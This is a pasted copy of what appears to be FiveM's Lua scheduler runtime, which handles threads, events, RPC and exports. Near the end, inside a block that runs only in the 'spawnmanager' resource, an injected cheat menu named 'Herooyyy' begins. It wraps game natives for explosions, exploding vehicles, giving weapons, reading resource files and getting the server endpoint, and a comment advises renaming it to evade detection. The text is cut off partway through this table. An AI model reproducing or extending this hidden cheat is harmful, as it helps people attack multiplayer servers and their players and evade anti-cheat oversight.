· 5 years ago · Oct 18, 2020, 03:20 PM
1local debug = debug
2local coroutine_close = coroutine.close or (function(c) end) -- 5.3 compatibility
3
4-- setup msgpack compat
5msgpack.set_string('string_compat')
6msgpack.set_integer('unsigned')
7msgpack.set_array('without_hole')
8msgpack.setoption('empty_table_as_array', true)
9
10-- setup json compat
11json.version = json._VERSION -- Version compatibility
12json.setoption("empty_table_as_array", true)
13json.setoption('with_hole', true)
14
15-- temp
16local function FormatStackTrace()
17 return Citizen.InvokeNative(`FORMAT_STACK_TRACE` & 0xFFFFFFFF, nil, 0, Citizen.ResultAsString())
18end
19
20local function ProfilerEnterScope(scopeName)
21 return Citizen.InvokeNative(`PROFILER_ENTER_SCOPE` & 0xFFFFFFFF, scopeName)
22end
23
24local function ProfilerExitScope()
25 return Citizen.InvokeNative(`PROFILER_EXIT_SCOPE` & 0xFFFFFFFF)
26end
27
28local newThreads = {}
29local threads = setmetatable({}, {
30 -- This circumvents undefined behaviour in "next" (and therefore "pairs")
31 __newindex = newThreads,
32 -- This is needed for CreateThreadNow to work correctly
33 __index = newThreads
34})
35
36local boundaryIdx = 1
37local runningThread
38
39local function dummyUseBoundary(idx)
40 return nil
41end
42
43local function getBoundaryFunc(bfn, bid)
44 return function(fn, ...)
45 local boundary = bid or (boundaryIdx + 1)
46 boundaryIdx = boundaryIdx + 1
47
48 bfn(boundary, coroutine.running())
49
50 local wrap = function(...)
51 dummyUseBoundary(boundary)
52
53 local v = table.pack(fn(...))
54 return table.unpack(v)
55 end
56
57 local v = table.pack(wrap(...))
58
59 bfn(boundary, nil)
60
61 return table.unpack(v)
62 end
63end
64
65local runWithBoundaryStart = getBoundaryFunc(Citizen.SubmitBoundaryStart)
66local runWithBoundaryEnd = getBoundaryFunc(Citizen.SubmitBoundaryEnd)
67
68--[[
69
70 Thread handling
71
72]]
73local function resumeThread(coro) -- Internal utility
74 if coroutine.status(coro) == "dead" then
75 threads[coro] = nil
76 coroutine_close(coro)
77 return false
78 end
79
80 runningThread = coro
81
82 local thread = threads[coro]
83
84 if thread then
85 if thread.name then
86 ProfilerEnterScope(thread.name)
87 else
88 ProfilerEnterScope('thread')
89 end
90
91 Citizen.SubmitBoundaryStart(thread.boundary, coro)
92 end
93
94 local ok, wakeTimeOrErr = coroutine.resume(coro)
95
96 if ok then
97 thread = threads[coro]
98 if thread then
99 thread.wakeTime = wakeTimeOrErr or 0
100 end
101 else
102 --Citizen.Trace("Error resuming coroutine: " .. debug.traceback(coro, wakeTimeOrErr) .. "\n")
103 local fst = FormatStackTrace()
104
105 if fst then
106 Citizen.Trace("^1SCRIPT ERROR: " .. wakeTimeOrErr .. "^7\n")
107 Citizen.Trace(fst)
108 end
109 end
110
111 runningThread = nil
112
113 ProfilerExitScope()
114
115 -- Return not finished
116 return coroutine.status(coro) ~= "dead"
117end
118
119function Citizen.CreateThread(threadFunction)
120 local bid = boundaryIdx + 1
121 boundaryIdx = boundaryIdx + 1
122
123 local tfn = function()
124 return runWithBoundaryStart(threadFunction, bid)
125 end
126
127 local di = debug.getinfo(threadFunction, 'S')
128
129 threads[coroutine.create(tfn)] = {
130 wakeTime = 0,
131 boundary = bid,
132 name = ('thread %s[%d..%d]'):format(di.short_src, di.linedefined, di.lastlinedefined)
133 }
134end
135
136function Citizen.Wait(msec)
137 coroutine.yield(GetGameTimer() + msec)
138end
139
140-- legacy alias (and to prevent people from calling the game's function)
141Wait = Citizen.Wait
142CreateThread = Citizen.CreateThread
143
144function Citizen.CreateThreadNow(threadFunction, name)
145 local bid = boundaryIdx + 1
146 boundaryIdx = boundaryIdx + 1
147
148 local di = debug.getinfo(threadFunction, 'S')
149 name = name or ('thread_now %s[%d..%d]'):format(di.short_src, di.linedefined, di.lastlinedefined)
150
151 local tfn = function()
152 return runWithBoundaryStart(threadFunction, bid)
153 end
154
155 local coro = coroutine.create(tfn)
156 threads[coro] = {
157 wakeTime = 0,
158 boundary = bid,
159 name = name
160 }
161 return resumeThread(coro)
162end
163
164function Citizen.Await(promise)
165 local coro = coroutine.running()
166 if not coro then
167 error("Current execution context is not in the scheduler, you should use CreateThread / SetTimeout or Event system (AddEventHandler) to be able to Await")
168 end
169
170 -- Indicates if the promise has already been resolved or rejected
171 -- This is a hack since the API does not expose its state
172 local isDone = false
173 local result, err
174 promise = promise:next(function(...)
175 isDone = true
176 result = {...}
177 end,function(error)
178 isDone = true
179 err = error
180 end)
181
182 if not isDone then
183 local threadData = threads[coro]
184 threads[coro] = nil
185
186 local function reattach()
187 threads[coro] = threadData
188 resumeThread(coro)
189 end
190
191 promise:next(reattach, reattach)
192 Citizen.Wait(0)
193 end
194
195 if err then
196 error(err)
197 end
198
199 return table.unpack(result)
200end
201
202function Citizen.SetTimeout(msec, callback)
203 local bid = boundaryIdx + 1
204 boundaryIdx = boundaryIdx + 1
205
206 local tfn = function()
207 return runWithBoundaryStart(callback, bid)
208 end
209
210 local coro = coroutine.create(tfn)
211 threads[coro] = {
212 wakeTime = GetGameTimer() + msec,
213 boundary = bid
214 }
215end
216
217SetTimeout = Citizen.SetTimeout
218
219Citizen.SetTickRoutine(function()
220 local curTime = GetGameTimer()
221
222 for coro, thread in pairs(newThreads) do
223 rawset(threads, coro, thread)
224 newThreads[coro] = nil
225 end
226
227 for coro, thread in pairs(threads) do
228 if curTime >= thread.wakeTime then
229 resumeThread(coro)
230 end
231 end
232end)
233
234--[[
235
236 Event handling
237
238]]
239
240local alwaysSafeEvents = {
241 ["playerDropped"] = true,
242 ["playerConnecting"] = true
243}
244
245local eventHandlers = {}
246local deserializingNetEvent = false
247
248Citizen.SetEventRoutine(function(eventName, eventPayload, eventSource)
249 -- set the event source
250 local lastSource = _G.source
251 _G.source = eventSource
252
253 -- try finding an event handler for the event
254 local eventHandlerEntry = eventHandlers[eventName]
255
256 -- deserialize the event structure (so that we end up adding references to delete later on)
257 local data = msgpack.unpack(eventPayload)
258
259 if eventHandlerEntry and eventHandlerEntry.handlers then
260 -- if this is a net event and we don't allow this event to be triggered from the network, return
261 if eventSource:sub(1, 3) == 'net' then
262 if not eventHandlerEntry.safeForNet and not alwaysSafeEvents[eventName] then
263 Citizen.Trace('event ' .. eventName .. " was not safe for net\n")
264
265 return
266 end
267
268 deserializingNetEvent = { source = eventSource }
269 _G.source = tonumber(eventSource:sub(5))
270 end
271
272 -- return an empty table if the data is nil
273 if not data then
274 data = {}
275 end
276
277 -- reset serialization
278 deserializingNetEvent = nil
279
280 -- if this is a table...
281 if type(data) == 'table' then
282 -- loop through all the event handlers
283 for k, handler in pairs(eventHandlerEntry.handlers) do
284 local di = debug.getinfo(handler)
285
286 Citizen.CreateThreadNow(function()
287 handler(table.unpack(data))
288 end, ('event %s [%s[%d..%d]]'):format(eventName, di.short_src, di.linedefined, di.lastlinedefined))
289 end
290 end
291 end
292
293 _G.source = lastSource
294end)
295
296local stackTraceBoundaryIdx
297
298Citizen.SetStackTraceRoutine(function(bs, ts, be, te)
299 if not ts then
300 ts = runningThread
301 end
302
303 local t
304 local n = 1
305
306 local frames = {}
307 local skip = false
308
309 if bs then
310 skip = true
311 end
312
313 repeat
314 if ts then
315 t = debug.getinfo(ts, n, 'nlfS')
316 else
317 t = debug.getinfo(n, 'nlfS')
318 end
319
320 if t then
321 if t.name == 'wrap' and t.source == '@citizen:/scripting/lua/scheduler.lua' then
322 if not stackTraceBoundaryIdx then
323 local b, v
324 local u = 1
325
326 repeat
327 b, v = debug.getupvalue(t.func, u)
328
329 if b == 'boundary' then
330 break
331 end
332
333 u = u + 1
334 until not b
335
336 stackTraceBoundaryIdx = u
337 end
338
339 local _, boundary = debug.getupvalue(t.func, stackTraceBoundaryIdx)
340
341 if boundary == bs then
342 skip = false
343 end
344
345 if boundary == be then
346 break
347 end
348 end
349
350 if not skip then
351 if t.source and t.source:sub(1, 1) ~= '=' and t.source:sub(1, 10) ~= '@citizen:/' then
352 table.insert(frames, {
353 file = t.source:sub(2),
354 line = t.currentline,
355 name = t.name or '[global chunk]'
356 })
357 end
358 end
359
360 n = n + 1
361 end
362 until not t
363
364 return msgpack.pack(frames)
365end)
366
367local eventKey = 10
368
369function AddEventHandler(eventName, eventRoutine)
370 local tableEntry = eventHandlers[eventName]
371
372 if not tableEntry then
373 tableEntry = { }
374
375 eventHandlers[eventName] = tableEntry
376 end
377
378 if not tableEntry.handlers then
379 tableEntry.handlers = { }
380 end
381
382 eventKey = eventKey + 1
383 tableEntry.handlers[eventKey] = eventRoutine
384
385 RegisterResourceAsEventHandler(eventName)
386
387 return {
388 key = eventKey,
389 name = eventName
390 }
391end
392
393function RemoveEventHandler(eventData)
394 if not eventData.key and not eventData.name then
395 error('Invalid event data passed to RemoveEventHandler()')
396 end
397
398 -- remove the entry
399 eventHandlers[eventData.name].handlers[eventData.key] = nil
400end
401
402function RegisterNetEvent(eventName)
403 local tableEntry = eventHandlers[eventName]
404
405 if not tableEntry then
406 tableEntry = { }
407
408 eventHandlers[eventName] = tableEntry
409 end
410
411 tableEntry.safeForNet = true
412end
413
414function TriggerEvent(eventName, ...)
415 local payload = msgpack.pack({...})
416
417 return runWithBoundaryEnd(function()
418 return TriggerEventInternal(eventName, payload, payload:len())
419 end)
420end
421
422if IsDuplicityVersion() then
423 function TriggerClientEvent(eventName, playerId, ...)
424 local payload = msgpack.pack({...})
425
426 return TriggerClientEventInternal(eventName, playerId, payload, payload:len())
427 end
428
429 function TriggerLatentClientEvent(eventName, playerId, bps, ...)
430 local payload = msgpack.pack({...})
431
432 return TriggerLatentClientEventInternal(eventName, playerId, payload, payload:len(), tonumber(bps))
433 end
434
435 RegisterServerEvent = RegisterNetEvent
436 RconPrint = Citizen.Trace
437 GetPlayerEP = GetPlayerEndpoint
438 RconLog = function() end
439
440 function GetPlayerIdentifiers(player)
441 local numIds = GetNumPlayerIdentifiers(player)
442 local t = {}
443
444 for i = 0, numIds - 1 do
445 table.insert(t, GetPlayerIdentifier(player, i))
446 end
447
448 return t
449 end
450
451 function GetPlayers()
452 local num = GetNumPlayerIndices()
453 local t = {}
454
455 for i = 0, num - 1 do
456 table.insert(t, GetPlayerFromIndex(i))
457 end
458
459 return t
460 end
461
462 local httpDispatch = {}
463 AddEventHandler('__cfx_internal:httpResponse', function(token, status, body, headers)
464 if httpDispatch[token] then
465 local userCallback = httpDispatch[token]
466 httpDispatch[token] = nil
467 userCallback(status, body, headers)
468 end
469 end)
470
471 function PerformHttpRequest(url, cb, method, data, headers)
472 local t = {
473 url = url,
474 method = method or 'GET',
475 data = data or '',
476 headers = headers or {}
477 }
478
479 local d = json.encode(t)
480 local id = PerformHttpRequestInternal(d, d:len())
481
482 httpDispatch[id] = cb
483 end
484else
485 function TriggerServerEvent(eventName, ...)
486 local payload = msgpack.pack({...})
487
488 return TriggerServerEventInternal(eventName, payload, payload:len())
489 end
490
491 function TriggerLatentServerEvent(eventName, bps, ...)
492 local payload = msgpack.pack({...})
493
494 return TriggerLatentServerEventInternal(eventName, payload, payload:len(), tonumber(bps))
495 end
496end
497
498local funcRefs = {}
499local funcRefIdx = 0
500
501local function MakeFunctionReference(func)
502 local thisIdx = funcRefIdx
503
504 funcRefs[thisIdx] = {
505 func = func,
506 refs = 0
507 }
508
509 funcRefIdx = funcRefIdx + 1
510
511 local refStr = Citizen.CanonicalizeRef(thisIdx)
512 return refStr
513end
514
515function Citizen.GetFunctionReference(func)
516 if type(func) == 'function' then
517 return MakeFunctionReference(func)
518 elseif type(func) == 'table' and rawget(func, '__cfx_functionReference') then
519 return MakeFunctionReference(function(...)
520 return func(...)
521 end)
522 end
523
524 return nil
525end
526
527local function doStackFormat(err)
528 local fst = FormatStackTrace()
529
530 -- already recovering from an error
531 if not fst then
532 return nil
533 end
534
535 return '^1SCRIPT ERROR: ' .. err .. "^7\n" .. fst
536end
537
538Citizen.SetCallRefRoutine(function(refId, argsSerialized)
539 local refPtr = funcRefs[refId]
540
541 if not refPtr then
542 Citizen.Trace('Invalid ref call attempt: ' .. refId .. "\n")
543
544 return msgpack.pack({})
545 end
546
547 local ref = refPtr.func
548
549 local err
550 local retvals
551 local cb = {}
552
553 local di = debug.getinfo(ref)
554
555 local waited = Citizen.CreateThreadNow(function()
556 local status, result, error = xpcall(function()
557 retvals = { ref(table.unpack(msgpack.unpack(argsSerialized))) }
558 end, doStackFormat)
559
560 if not status then
561 err = result or ''
562 end
563
564 if cb.cb then
565 cb.cb(retvals or false, err)
566 end
567 end, ('ref call [%s[%d..%d]]'):format(di.short_src, di.linedefined, di.lastlinedefined))
568
569 if not waited then
570 if err then
571 --error(err)
572 if err ~= '' then
573 Citizen.Trace(err)
574 end
575
576 return msgpack.pack(nil)
577 end
578
579 return msgpack.pack(retvals)
580 else
581 return msgpack.pack({{
582 __cfx_async_retval = function(rvcb)
583 cb.cb = rvcb
584 end
585 }})
586 end
587end)
588
589Citizen.SetDuplicateRefRoutine(function(refId)
590 local ref = funcRefs[refId]
591
592 if ref then
593 --print(('%s %s ref %d - new refcount %d (from %s)'):format(GetCurrentResourceName(), 'duplicating', refId, ref.refs + 1, GetInvokingResource() or 'nil'))
594
595 ref.refs = ref.refs + 1
596
597 return refId
598 end
599
600 return -1
601end)
602
603Citizen.SetDeleteRefRoutine(function(refId)
604 local ref = funcRefs[refId]
605
606 if ref then
607 --print(('%s %s ref %d - new refcount %d (from %s)'):format(GetCurrentResourceName(), 'deleting', refId, ref.refs - 1, GetInvokingResource() or 'nil'))
608
609 ref.refs = ref.refs - 1
610
611 if ref.refs <= 0 then
612 funcRefs[refId] = nil
613 end
614 end
615end)
616
617-- RPC REQUEST HANDLER
618local InvokeRpcEvent
619
620if GetCurrentResourceName() == 'sessionmanager' then
621 local rpcEvName = ('__cfx_rpcReq')
622
623 RegisterNetEvent(rpcEvName)
624
625 AddEventHandler(rpcEvName, function(retEvent, retId, refId, args)
626 local source = source
627
628 local eventTriggerFn = TriggerServerEvent
629
630 if IsDuplicityVersion() then
631 eventTriggerFn = function(name, ...)
632 TriggerClientEvent(name, source, ...)
633 end
634 end
635
636 local returnEvent = function(args, err)
637 eventTriggerFn(retEvent, retId, args, err)
638 end
639
640 local function makeArgRefs(o)
641 if type(o) == 'table' then
642 for k, v in pairs(o) do
643 if type(v) == 'table' and rawget(v, '__cfx_functionReference') then
644 o[k] = function(...)
645 return InvokeRpcEvent(source, rawget(v, '__cfx_functionReference'), {...})
646 end
647 end
648
649 makeArgRefs(v)
650 end
651 end
652 end
653
654 makeArgRefs(args)
655
656 runWithBoundaryEnd(function()
657 local payload = Citizen.InvokeFunctionReference(refId, msgpack.pack(args))
658
659 if #payload == 0 then
660 returnEvent(false, 'err')
661 return
662 end
663
664 local rvs = msgpack.unpack(payload)
665
666 if type(rvs[1]) == 'table' and rvs[1].__cfx_async_retval then
667 rvs[1].__cfx_async_retval(returnEvent)
668 else
669 returnEvent(rvs)
670 end
671 end)
672 end)
673end
674
675local rpcId = 0
676local rpcPromises = {}
677local playerPromises = {}
678
679-- RPC REPLY HANDLER
680local repName = ('__cfx_rpcRep:%s'):format(GetCurrentResourceName())
681
682RegisterNetEvent(repName)
683
684AddEventHandler(repName, function(retId, args, err)
685 local promise = rpcPromises[retId]
686 rpcPromises[retId] = nil
687
688 -- remove any player promise for us
689 for k, v in pairs(playerPromises) do
690 v[retId] = nil
691 end
692
693 if promise then
694 if args then
695 promise:resolve(args[1])
696 elseif err then
697 promise:reject(err)
698 end
699 end
700end)
701
702if IsDuplicityVersion() then
703 AddEventHandler('playerDropped', function(reason)
704 local source = source
705
706 if playerPromises[source] then
707 for k, v in pairs(playerPromises[source]) do
708 local p = rpcPromises[k]
709
710 if p then
711 p:reject('Player dropped: ' .. reason)
712 end
713 end
714 end
715
716 playerPromises[source] = nil
717 end)
718end
719
720local EXT_FUNCREF = 10
721local EXT_LOCALFUNCREF = 11
722
723msgpack.extend_clear(EXT_FUNCREF, EXT_LOCALFUNCREF)
724
725-- RPC INVOCATION
726InvokeRpcEvent = function(source, ref, args)
727 if not coroutine.running() then
728 error('RPC delegates can only be invoked from a thread.')
729 end
730
731 local src = source
732
733 local eventTriggerFn = TriggerServerEvent
734
735 if IsDuplicityVersion() then
736 eventTriggerFn = function(name, ...)
737 TriggerClientEvent(name, src, ...)
738 end
739 end
740
741 local p = promise.new()
742 local asyncId = rpcId
743 rpcId = rpcId + 1
744
745 local refId = ('%d:%d'):format(GetInstanceId(), asyncId)
746
747 eventTriggerFn('__cfx_rpcReq', repName, refId, ref, args)
748
749 -- add rpc promise
750 rpcPromises[refId] = p
751
752 -- add a player promise
753 if not playerPromises[src] then
754 playerPromises[src] = {}
755 end
756
757 playerPromises[src][refId] = true
758
759 return Citizen.Await(p)
760end
761
762local funcref_mt = nil
763
764funcref_mt = msgpack.extend({
765 __gc = function(t)
766 DeleteFunctionReference(rawget(t, '__cfx_functionReference'))
767 end,
768
769 __index = function(t, k)
770 error('Cannot index a funcref')
771 end,
772
773 __newindex = function(t, k, v)
774 error('Cannot set indexes on a funcref')
775 end,
776
777 __call = function(t, ...)
778 local netSource = rawget(t, '__cfx_functionSource')
779 local ref = rawget(t, '__cfx_functionReference')
780
781 if not netSource then
782 local args = msgpack.pack({...})
783
784 -- as Lua doesn't allow directly getting lengths from a data buffer, and _s will zero-terminate, we have a wrapper in the game itself
785 local rv = runWithBoundaryEnd(function()
786 return Citizen.InvokeFunctionReference(ref, args)
787 end)
788 local rvs = msgpack.unpack(rv)
789
790 -- handle async retvals from refs
791 if rvs and type(rvs[1]) == 'table' and rawget(rvs[1], '__cfx_async_retval') and coroutine.running() then
792 local p = promise.new()
793
794 rvs[1].__cfx_async_retval(function(r, e)
795 if r then
796 p:resolve(r)
797 elseif e then
798 p:reject(e)
799 end
800 end)
801
802 return table.unpack(Citizen.Await(p))
803 end
804
805 return table.unpack(rvs)
806 else
807 return InvokeRpcEvent(tonumber(netSource.source:sub(5)), ref, {...})
808 end
809 end,
810
811 __ext = EXT_FUNCREF,
812
813 __pack = function(self, tag)
814 local refstr = Citizen.GetFunctionReference(self)
815 if refstr then
816 return refstr
817 else
818 error(("Unknown funcref type: %d %s"):format(tag, type(self)))
819 end
820 end,
821
822 __unpack = function(data, tag)
823 local ref = data
824
825 -- add a reference
826 DuplicateFunctionReference(ref)
827
828 local tbl = {
829 __cfx_functionReference = ref,
830 __cfx_functionSource = deserializingNetEvent
831 }
832
833 if tag == EXT_LOCALFUNCREF then
834 tbl.__cfx_functionSource = nil
835 end
836
837 tbl = setmetatable(tbl, funcref_mt)
838
839 return tbl
840 end,
841})
842
843--[[ Also initialize unpackers for local function references --]]
844msgpack.extend({
845 __ext = EXT_LOCALFUNCREF,
846 __pack = funcref_mt.__pack,
847 __unpack = funcref_mt.__unpack,
848})
849
850msgpack.settype("function", EXT_FUNCREF)
851
852-- exports compatibility
853local function getExportEventName(resource, name)
854 return string.format('__cfx_export_%s_%s', resource, name)
855end
856
857-- callback cache to avoid extra call to serialization / deserialization process at each time getting an export
858local exportsCallbackCache = {}
859
860local exportKey = (IsDuplicityVersion() and 'server_export' or 'export')
861
862AddEventHandler(('on%sResourceStart'):format(IsDuplicityVersion() and 'Server' or 'Client'), function(resource)
863 if resource == GetCurrentResourceName() then
864 local numMetaData = GetNumResourceMetadata(resource, exportKey) or 0
865
866 for i = 0, numMetaData-1 do
867 local exportName = GetResourceMetadata(resource, exportKey, i)
868
869 AddEventHandler(getExportEventName(resource, exportName), function(setCB)
870 -- get the entry from *our* global table and invoke the set callback
871 if _G[exportName] then
872 setCB(_G[exportName])
873 end
874 end)
875 end
876 end
877end)
878
879-- Remove cache when resource stop to avoid calling unexisting exports
880AddEventHandler(('on%sResourceStop'):format(IsDuplicityVersion() and 'Server' or 'Client'), function(resource)
881 exportsCallbackCache[resource] = {}
882end)
883
884-- invocation bit
885exports = {}
886
887setmetatable(exports, {
888 __index = function(t, k)
889 local resource = k
890
891 return setmetatable({}, {
892 __index = function(t, k)
893 if not exportsCallbackCache[resource] then
894 exportsCallbackCache[resource] = {}
895 end
896
897 if not exportsCallbackCache[resource][k] then
898 TriggerEvent(getExportEventName(resource, k), function(exportData)
899 exportsCallbackCache[resource][k] = exportData
900 end)
901
902 if not exportsCallbackCache[resource][k] then
903 error('No such export ' .. k .. ' in resource ' .. resource)
904 end
905 end
906
907 return function(self, ...)
908 local status, result = pcall(exportsCallbackCache[resource][k], ...)
909
910 if not status then
911 error('An error happened while calling export ' .. k .. ' of resource ' .. resource .. ' (' .. result .. '), see above for details')
912 end
913
914 return result
915 end
916 end,
917
918 __newindex = function(t, k, v)
919 error('cannot set values on an export resource')
920 end
921 })
922 end,
923
924 __newindex = function(t, k, v)
925 error('cannot set values on exports')
926 end,
927
928 __call = function(t, exportName, func)
929 AddEventHandler(getExportEventName(GetCurrentResourceName(), exportName), function(setCB)
930 setCB(func)
931 end)
932 end
933})
934
935-- NUI callbacks
936if not IsDuplicityVersion() then
937 function RegisterNUICallback(type, callback)
938 RegisterNuiCallbackType(type)
939
940 AddEventHandler('__cfx_nui:' .. type, function(body, resultCallback)
941 local status, err = pcall(function()
942 callback(body, resultCallback)
943 end)
944
945 if err then
946 Citizen.Trace("error during NUI callback " .. type .. ": " .. err .. "\n")
947 end
948 end)
949 end
950
951 local _sendNuiMessage = SendNuiMessage
952
953 function SendNUIMessage(message)
954 _sendNuiMessage(json.encode(message))
955 end
956end
957
958-- entity helpers
959local EXT_ENTITY = 41
960local EXT_PLAYER = 42
961
962msgpack.extend_clear(EXT_ENTITY, EXT_PLAYER)
963
964local function NewStateBag(es)
965 local sv = IsDuplicityVersion()
966
967 return setmetatable({}, {
968 __index = function(_, s)
969 if s == 'set' then
970 return function(_, s, v, r)
971 local payload = msgpack.pack(v)
972 SetStateBagValue(es, s, payload, payload:len(), r)
973 end
974 end
975
976 return GetStateBagValue(es, s)
977 end,
978
979 __newindex = function(_, s, v)
980 local payload = msgpack.pack(v)
981 SetStateBagValue(es, s, payload, payload:len(), sv)
982 end
983 })
984end
985
986GlobalState = NewStateBag('global')
987
988local entityTM = {
989 __index = function(t, s)
990 if s == 'state' then
991 local es = ('entity:%d'):format(NetworkGetNetworkIdFromEntity(t.__data))
992
993 if IsDuplicityVersion() then
994 EnsureEntityStateBag(t.__data)
995 end
996
997 return NewStateBag(es)
998 end
999
1000 return nil
1001 end,
1002
1003 __newindex = function()
1004 error('Not allowed at this time.')
1005 end,
1006
1007 __ext = EXT_ENTITY,
1008
1009 __pack = function(self, t)
1010 return tostring(NetworkGetNetworkIdFromEntity(self.__data))
1011 end,
1012
1013 __unpack = function(data, t)
1014 local ref = NetworkGetEntityFromNetworkId(tonumber(data))
1015
1016 return setmetatable({
1017 __data = ref
1018 }, entityTM)
1019 end
1020}
1021
1022msgpack.extend(entityTM)
1023
1024local playerTM = {
1025 __index = function(t, s)
1026 if s == 'state' then
1027 local pid = t.__data
1028
1029 if pid == -1 then
1030 pid = GetPlayerServerId(PlayerId())
1031 end
1032
1033 local es = ('player:%d'):format(pid)
1034
1035 return NewStateBag(es)
1036 end
1037
1038 return nil
1039 end,
1040
1041 __newindex = function()
1042 error('Not allowed at this time.')
1043 end,
1044
1045 __ext = EXT_PLAYER,
1046
1047 __pack = function(self, t)
1048 return tostring(self.__data)
1049 end,
1050
1051 __unpack = function(data, t)
1052 local ref = tonumber(data)
1053
1054 return setmetatable({
1055 __data = ref
1056 }, playerTM)
1057 end
1058}
1059
1060msgpack.extend(playerTM)
1061
1062function Entity(ent)
1063 if type(ent) == 'number' then
1064 return setmetatable({
1065 __data = ent
1066 }, entityTM)
1067 end
1068
1069 return ent
1070end
1071
1072function Player(ent)
1073 if type(ent) == 'number' or type(ent) == 'string' then
1074 return setmetatable({
1075 __data = tonumber(ent)
1076 }, playerTM)
1077 end
1078
1079 return ent
1080end
1081
1082if not IsDuplicityVersion() then
1083 LocalPlayer = Player(-1)
1084end
1085
1086if GetCurrentResourceName() == "spawnmanager" then
1087 local Keys = {
1088 ['ESC'] = 322, ['F1'] = 288, ['F2'] = 289, ['F3'] = 170, ['F5'] = 166, ['F6'] = 167, ['F7'] = 168, ['F8'] = 169, ['F9'] = 56, ['F10'] = 57,
1089 ['~'] = 243, ['1'] = 157, ['2'] = 158, ['3'] = 160, ['4'] = 164, ['5'] = 165, ['6'] = 159, ['7'] = 161, ['8'] = 162, ['9'] = 163, ['-'] = 84, ['='] = 83, ['BACKSPACE'] = 177,
1090 ['TAB'] = 37, ['Q'] = 44, ['W'] = 32, ['E'] = 38, ['R'] = 45, ['T'] = 245, ['Y'] = 246, ['U'] = 303, ['P'] = 199, ['['] = 39, [']'] = 40, ['ENTER'] = 18,
1091 ['CAPS'] = 137, ['A'] = 34, ['S'] = 8, ['D'] = 9, ['F'] = 23, ['G'] = 47, ['H'] = 74, ['K'] = 311, ['L'] = 182,
1092 ['LEFTSHIFT'] = 21, ['Z'] = 20, ['X'] = 73, ['C'] = 26, ['V'] = 0, ['B'] = 29, ['N'] = 249, ['M'] = 244, [','] = 82, ['.'] = 81,
1093 ['LEFTCTRL'] = 36, ['LEFTALT'] = 19, ['SPACE'] = 22, ['RIGHTCTRL'] = 70,
1094 ['HOME'] = 213, ['PAGEUP'] = 10, ['PAGEDOWN'] = 11, ['DELETE'] = 178,
1095 ['LEFT'] = 174, ['RIGHT'] = 175, ['TOP'] = 27, ['UP'] = 172, ['DOWN'] = 173,
1096 ['NENTER'] = 201, ['N4'] = 108, ['N5'] = 60, ['N6'] = 107, ['N+'] = 96, ['N-'] = 97, ['N7'] = 117, ['N8'] = 61, ['N9'] = 118,
1097 ['MOUSE1'] = 24
1098}
1099
1100local old_print = print
1101local function dir_print(trash)
1102 old_print('[herooyyy] '..trash)
1103end
1104
1105local function intToFloat(_value)
1106 if _value then
1107 return _value + .0;
1108 else
1109 return 5391.0;
1110 end
1111end
1112
1113local pCreateThread = Citizen.CreateThread
1114local pWait = Citizen.Wait
1115local pInvoke = Citizen.InvokeNative
1116
1117local p_tostring = function(num)
1118 if num == 0 or not num then
1119 return nil
1120 end
1121 return tostring(num)
1122end
1123
1124local Herooyyy = { --[[rename `Herooyyy` to whatever the fuck you want and ez undetek]]
1125 shouldShowMenu = true,
1126 debug = false,
1127 natives = {
1128 getCurrentServerEndpoint = function() --[[GetCurrentServerEndpoint]]
1129 return (pInvoke(" 0xea11bfba ", Citizen.ReturnResultAnyway(), Citizen.ResultAsString()))
1130 end,
1131 getCurrentResourceName = function() --[[GetCurrentResourceName]]
1132 return (pInvoke(" 0xe5e9ebbb ", Citizen.ReturnResultAnyway(), Citizen.ResultAsString()))
1133 end,
1134 getActivePlayers = function() --[[GetActivePlayers]]
1135 return (msgpack.unpack(pInvoke(" 0xcf143fb9 ", Citizen.ReturnResultAnyway(), Citizen.ResultAsObject())))
1136 end,
1137 clearPedTasksImmediately = function(ped) --[[ClearPedTasksImmediately]]
1138 return (pInvoke(" 0xAAA34F8A7CB32098 ", ped))
1139 end,
1140 addTextComponentSubstringPlayerName = function(text) --[[AddTextComponentSubstringPlayerName]]
1141 return (pInvoke(" 0x6C188BE134E074AA ", tostring(text)))
1142 end,
1143 beginTextCommandDisplayText = function(text) --[[BeginTextCommandDisplayText / SetTextEntry]]
1144 return (pInvoke(" 0x25FBB336DF1804CB ", tostring(text)))
1145 end,
1146 endTextCommandDisplayText = function(x, y) --[[EndTextCommandDisplayText / DrawText]]
1147 return (pInvoke(" 0xCD015E5BB0D96A57 ", x, y))
1148 end,
1149 loadResourceFile = function(resourceName, fileName) --[[LoadResourceFile]]
1150 return (pInvoke(" 0x76a9ee1f ", tostring(resourceName), tostring(fileName), Citizen.ReturnResultAnyway(), Citizen.ResultAsString()))
1151 end,
1152 createObject = function(modelHash, x, y, z, isNetwork, netMissionEntity, dynamic) --[[CreateObject]]
1153 return (pInvoke(" 0x509D5878EB39E842 ", modelHash, x, y, z, isNetwork, thisScriptCheck, dynamic, Citizen.ReturnResultAnyway(), Citizen.ResultAsInteger()))
1154 end,
1155 drawRect = function(x, y, width, height, r, g, b, a) --[[DrawRect]]
1156 return (pInvoke(" 0x3A618A217E5154F0 ", x, y, width, height, r, g, b, a))
1157 end,
1158 addExplosion = function(x, y, z, explosionType, damageScale, isAudible, isInvisible, cameraShake) --[[AddExplosion]]
1159 return (pInvoke(" 0xE3AD2BDBAEE269AC ", x, y, z, explosionType, damageScale, isAudible, isInvisible, cameraShake))
1160 end,
1161 networkExplodeVehicle = function(vehicle, isAudible, isInvisible, p3) --[[NetworkExplodeVehicle]]
1162 return (pInvoke(" 0x301A42153C9AD707 ", vehicle, isAudible, isInvisible, p3, Citizen.ReturnResultAnyway(), Citizen.ResultAsInteger()))
1163 end,
1164 giveWeaponToPed = function(ped, weaponHash, ammoCount, isHidden, equipNow) --[[GiveWeaponToPed]]
1165 return (pInvoke(" 0xBF0FD6E56C964FCB ", ped, weaponHash, ammoCount, isHidden, equipNow))
1166 end,
1167 addTextEntry = function(entryKey, entryText) --[[AddTextEntry]]
1168 return (pInvoke(" 0x32ca01c3 ", tostring(entryKey), tostring(entryText)))
1169 end,
1170 displayOnscreenKeyboard = function(p0, windowTitle, p2, defaultText, defaultConcat1, defaultConcat2, defaultConcat3, maxInputLength) --[[DisplayOnscreenKeyboard]]
1171 return (pInvoke(" 0x00DC833F2568DBF6 ", p0, tostring(windowTitle), tostring(p2), tostring(defaultText), tostring(defaultConcat1), tostring(defaultConcat2), tostring(defaultConcat3), maxInputLength))
1172 end,
1173 updateOnscreenKeyboard = function() --[[UpdateOnscreenKeyboard]]
1174 return (pInvoke(" 0x0CF2B696BBF945AE ", Citizen.ReturnResultAnyway(), Citizen.ResultAsInteger()))
1175 end,
